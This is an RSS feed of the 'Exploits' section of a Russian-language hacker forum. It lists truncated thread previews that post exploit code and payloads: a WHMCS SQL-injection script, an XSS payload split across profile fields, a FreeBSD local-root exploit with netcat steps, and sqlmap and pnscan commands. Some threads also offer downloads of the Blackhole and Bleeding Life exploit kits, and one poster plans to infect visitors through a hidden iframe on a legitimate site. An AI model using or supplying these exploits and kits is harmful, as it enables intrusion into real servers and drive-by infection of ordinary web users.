Exploits |:| Vulnerabilities Готовые эксплоиты к популярным движкам. Sat, 26 Sep 2026 03:06:39 +0000 Sat, 26 Sep 2026 03:06:39 +0000 Хакерский форум: свобода информации, безопасность https://xaker.name/forum/exploits/ Free Float ftp Sun, 30 Oct 2016 13:43:34 +0000 https://xaker.name/threads/31457/ https://xaker.name/threads/31457/ invalid@example.com (karencho) karencho


[​IMG]

значит он не может обработать MOF файл даа??? возможно ли как-то его подправить под семерку и виндоус 10?]]> 9 Уязвимости в ядре Linux Tue, 12 Apr 2016 11:09:53 +0000 https://xaker.name/threads/12947/ https://xaker.name/threads/12947/ invalid@example.com (NetSky) NetSky 05 ноября, 2008

Программа: Linux kernel версии до 2.6.28-rc1

Опасность: Низкая

Наличие эксплоита: Да

Описание:
Обнаруженные уязвимости позволяют локальному пользователю произвести DoS атаку.

1. Уязвимость существует из-за недостаточной проверки длины имени каталога в функции "hfsplus_find_cat()" в файле fs/hfsplus/catalog.c. Злоумышленник может смонтировать специально сформированную hfsplus файловую систему и вызвать аварийно...

Уязвимости в ядре Linux]]> 18 CAM UnZip 5.1 - Archive Path Traversal Mon, 11 Apr 2016 23:48:28 +0000 https://xaker.name/threads/31187/ https://xaker.name/threads/31187/ invalid@example.com (v1nest) v1nest
Код:
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/CAMUNZIP-ARCHIVE-PATH-TRAVERSAL.txt


Vendor:
=================
www.camunzip.com


Product:
==============
CAM UnZip v5.1


Vulnerability Type:
======================
Archive Path Traversal


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

CAM UnZip fails to check that the paths of the files in the archive...
CAM UnZip 5.1 - Archive Path Traversal]]> проблема с metasploit Sat, 06 Feb 2016 07:41:35 +0000 https://xaker.name/threads/27955/ https://xaker.name/threads/27955/ invalid@example.com (GK104) GK104 Захожу в консоль метасплойта с GUI, нажимаю start new msfrpcd, начинается соединение, проходит минута и мне выдается такая ошибка:
Код:
msfrpcd died with exit value 1
Гуглил, натыкался лишь на советы переустановить метасплойт, переустанавливал, проблема осталась.Антивирус был выключен, юзаю win8.
Посоветуйте что-нибудь, пожалуйста.]]> 4 Piwigo 2.6.0 (picture.php, rate param) - SQL Injection Fri, 14 Nov 2014 04:15:37 +0000 https://xaker.name/threads/29947/ https://xaker.name/threads/29947/ invalid@example.com (Хулиган) Хулиган
Код:
Piwigo 2.6.0 (picture.php, rate param) - SQL Injection 

=============================================
MGC ALERT 2014-001
- Original release date: January 12, 2014
- Last revised: November 12, 2014
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Blind SQL Injection in Piwigo <= v2.6.0

II. BACKGROUND
-------------------------
Piwigo is a web...
Piwigo 2.6.0 (picture.php, rate param) - SQL Injection]]> WHMCS 5.2.7 SQL Injection Mon, 07 Oct 2013 06:44:40 +0000 https://xaker.name/threads/29190/ https://xaker.name/threads/29190/ invalid@example.com (Хулиган) Хулиган
Код:
#!/usr/bin/env python
# 2013/10/03 - WHMCS 5.2.7 SQL Injection
# http://localhost.re/p/whmcs-527-vulnerability

url = 'http://clients.target.com/' # wopsie dopsie
user_email = 'mysuper@hacker.account' # just create a dummie account at /register.php
user_pwd = 'hacker' 

import urllib, re, sys
from urllib2 import Request, urlopen
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17
Safari/537.36"

def exploit(sql):
print...
WHMCS 5.2.7 SQL Injection]]> Xss в хаке Extra IM and Network Thu, 03 Oct 2013 03:34:15 +0000 https://xaker.name/threads/26267/ https://xaker.name/threads/26267/ invalid@example.com (Хулиган) Хулиган не фильтруется не одна переменная
ну а теперь о том как юзать)

в usercp
Редактировать данные:
Имя в AIM - 1
Имя в М-Агент - <script> /*
Имя или ID в Вконтакте - */ alert(1); /*
Имя на YouTube - 5
Имя в Мой Мир (домен/имя) - 4
Имя или ID в Myspace - */</script>]]> 1 нужен эксплоит повышения привелегий в XP Wed, 28 Aug 2013 17:09:49 +0000 https://xaker.name/threads/27813/ https://xaker.name/threads/27813/ invalid@example.com (weedov) weedov http://www.exploit-db.com/sploits/KiTrap0D.zip

подскажыте плс если ести чтото 100% рабочее. спасибо

Windows XP Professional SP3 x86 (5.1, Build 2600)]]> 2 Smoke Loader SQL Injection Mon, 26 Aug 2013 11:00:12 +0000 https://xaker.name/threads/27633/ https://xaker.name/threads/27633/ invalid@example.com (Хулиган) Хулиган
Код:
root@localhoost:/opt/pentest/database/sqlmap#  ./sqlmap.py -u evilserver.com/directory/guest.php
--auth-cred=guest:guest --auth-type=basic --dbms mysql --level 3
--risk 3


sqlmap identified the...
Smoke Loader SQL Injection]]> 1 Cometchat - Multiple Vulnerabilities Fri, 15 Feb 2013 16:42:15 +0000 https://xaker.name/threads/27860/ https://xaker.name/threads/27860/ invalid@example.com (Хулиган) Хулиган
Код:
__ _ _ ____ 
/ /___ _____ (_)_____________ ______(_)__ _____ / __ \_________ _
__ / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__ |__ ) /_/ / / / / __(__ )/ /_/ / / / /_/ / 
\____/\__,_/_/ /_/_/____/____/\__,_/_/ /_/\___/____(_)____/_/ \__, / 
/____/ 
##################################################################################	
Cometchat chat Application All Version Multiple Vulnerabilities
Cometchat is a chat application which...
Cometchat - Multiple Vulnerabilities]]> Exploit Pack Bleeding Life 2 Tue, 22 Jan 2013 19:07:03 +0000 https://xaker.name/threads/23781/ https://xaker.name/threads/23781/ invalid@example.com (zeoman) zeoman [​IMG]​
Exploits
Adobe
CVE-2008-2992
CVE-2010-1297
CVE-2010-2884
CVE-2010-0188
Java
CVE-2010-0842
CVE-2010-3552
Signed Applet

Официальный сайт

Скачать

P.S. Пока не тестил так что не могу сказать какой % пробива.]]> 44 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit Tue, 04 Dec 2012 19:04:34 +0000 https://xaker.name/threads/27555/ https://xaker.name/threads/27555/ invalid@example.com (Хулиган) Хулиган MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit

Код:
Version 1.0
By Kingcope
In the Year of 2012
http://www.exploit-db.com/sploits/23083.zip

use this on a fast scan server!

How to use.
pnscan:

Код:
#make lnx
#./pnscan 192.168.0.0/16 3306
exploit:
Код:
#perl...
MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit]]> MySQL Local/Remote FAST Account Password Cracking Tue, 04 Dec 2012 07:27:12 +0000 https://xaker.name/threads/27550/ https://xaker.name/threads/27550/ invalid@example.com (Mei) Mei
Описание:
MySQL Local/Remote FAST Account Password Cracking]]> MyAuth3 Blind SQL Injection Tue, 09 Oct 2012 10:38:09 +0000 https://xaker.name/threads/27269/ https://xaker.name/threads/27269/ invalid@example.com (Хулиган) Хулиган
MyAuth3 Blind SQL Injection​


Код:
# Google Dork: allinurl:1881/?console=panel
# Date: 09/06/2011
# Author: Marcio Almeida (marcio[at]alligatorteam[dot]
org | @marcioalm)
# Version: 3.0
# Tested on: Linux

#EDB-Note: apparently no true exploit is needed to dump system pwd hashes, because the admin myauth users have the ability to run a terminal session
PoC (POST data)

URL:...

MyAuth3 Blind SQL Injection]]> 1 Уязвимости FreeBSD Tue, 11 Sep 2012 09:55:06 +0000 https://xaker.name/threads/19227/ https://xaker.name/threads/19227/ invalid@example.com (Iindigo) Iindigo FreeBSD 7.*, 8.* root exploit

Код:
/*  freebsd x86/x64 sendfile cache local root xpl v2
 
 by Kingcope
 2010
 --
 
 should h4x any freebsd 8.* and 7.* prior to 12Jul2010
 
 tampers /bin/sh to contain a shellcode which does
 '
 chmod a+s /tmp/sh
 chown root /tmp/sh
 execve /tmp/sh2
 '
 
 how to use:
 
 terminal 1:
 $ cp /bin/sh /tmp/sh
 $ cp /bin/sh /tmp/sh2
 $ gcc cache.c -o cache
 
 terminal 2:
 $ nc -l 7030
 
 terminal 1:
 for i386 arch type:
 $...
Уязвимости FreeBSD]]> 5 Livestreet 0.5.1 и в 0.4, XSS, Cross Site Scripting, раскрытие директории Sat, 23 Jun 2012 09:49:02 +0000 https://xaker.name/threads/26425/ https://xaker.name/threads/26425/ invalid@example.com (Хулиган) Хулиган
Livestreet XSS + раскрытие директории в MooTools_1.2, vlaCal-v2.1​


Livestreet XSS POST:

File:
Код:
/engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/year.php
Код:
/engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/decade.php
Код:
POST /engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/decade.php HTTP/1.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=8223940c401233bbcffe59d6f2b7637d;...
Livestreet 0.5.1 и в 0.4, XSS, Cross Site Scripting, раскрытие директории]]> Cpanel 11.X Multiple CSRF Vulnerability Wed, 06 Jun 2012 21:44:40 +0000 https://xaker.name/threads/26290/ https://xaker.name/threads/26290/ invalid@example.com (Хулиган) Хулиган
Cpanel 11.X Multiple CSRF Vulnerability​


Код:
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://www.cpanel.net/
.:. Gr34T$ T0 [aboud-el]
####################################################################
[ Exploit ]


Добавить файл...

Cpanel 11.X Multiple CSRF Vulnerability]]> Blackhole Exploit Kit 1.0.2 Mon, 04 Jun 2012 13:32:05 +0000 https://xaker.name/threads/23784/ https://xaker.name/threads/23784/ invalid@example.com (Glam_Man) Glam_Man [​IMG]​Exploits:
CVE-2010-1885 HCP
CVE-2010-1423 Java argument injection vulnerability in the URI handler in Java NPAPI plugin...

Blackhole Exploit Kit 1.0.2]]> 21 Обход ограничений безопасности в PHP Thu, 10 May 2012 14:22:21 +0000 https://xaker.name/threads/26015/ https://xaker.name/threads/26015/ invalid@example.com (Хулиган) Хулиган
PHP-CGI EXPLOIT: CVE-2012-1823, POC EXPLOIT​


Уязвимые версии:
PHP 5.3.11 и более ранние версии
PHP 5.4.1 и более ранние версии

Описание:
Уязвимость позволяет удаленному пользователю обойти ограничения безопасности на системе.

Уязвимость существует из-за того, что при использовании основанной на CGI настройки php-cgi получает обработанную строку пареметра запроса в виде аргумента командной строки, что позволяет передавать...

Обход ограничений безопасности в PHP]]> 5 Плохой интернет и сплоит пак Thu, 03 May 2012 05:10:05 +0000 https://xaker.name/threads/25884/ https://xaker.name/threads/25884/ invalid@example.com (Megatron13) Megatron13 з.ы. заражать буду через скрытый фрейм, спрятанный на довольно нормальном сайте.]]> 9